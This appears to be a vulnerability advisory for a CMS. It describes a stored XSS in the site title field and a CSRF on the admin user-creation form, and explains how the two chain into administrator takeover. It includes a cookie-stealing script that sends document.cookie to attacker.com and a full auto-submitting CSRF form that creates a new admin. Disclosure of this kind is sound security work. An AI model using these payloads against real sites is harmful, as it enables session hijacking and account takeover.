Stored XSS:
The site title field in the configuration page fails to securely output encode stored values. As a result, an authenticated attacker can trigger the application to store a malicious string by entering the values into the site title field. When a user visits the web site, the malicious code will be executed in the client browser.
Proof of Concept XSS:
Enter the below into the site title field:
<script>document.location="http://attacker.com/stealcookie.php?cookie=" + document.cookie</script>
When any user visits the web site the above client-side code will be executed in the client browser to steal their cookie. The following page is vulnerable:
http://www.website.com/admin/settings/
CSRF:
The privilege escalation is possible because the form used to change user account passwords does not require the user to confirm their current password and is vulnerable to CSRF. An attacker can reset an Administrator password by creating a malicious web site that sends a POST request to change the current user's password while they are logged into the CMS. This vulnerability can be combined with the above XSS to force the user to visit the malicious web site as soon as the user logs into the CMS. The only item required to create the CSRF is the SecurityID value which can be extracted from many pages in the CMS. After sending the request the attacker can login as a new Administrator with the credentials detailed below.
Proof of Concept CSRF:
Example CSRF Request to create a new admin user with limited CSRF protection enabled:
<html>
<head></head>
<body onLoad=javascript:document.form.submit()>
<form action="
http://x.x.x.x/admin/security/EditForm/field/Members/item/new/ItemEditForm"
name="form" method="POST">
<input type="text" name="FirstName" value="Alan">
<input type="text" name="LastName" value="Jackson">
<input type="text" name="Email" value="ajackson79@outlook.com">
<input type="text" name=" Password[_Password]" value="Squash!">
<input type="text" name=" Password[_ConfirmPassword]" value="Squash!">
<input type="text" name="Locale" value="en_GB">
<input type="text" name="SecurityID" value="528475a4e3c260bdffa3046c2b">
<input type="text" name="action_doSave" value="1">
</form>
</body><br>
</html>
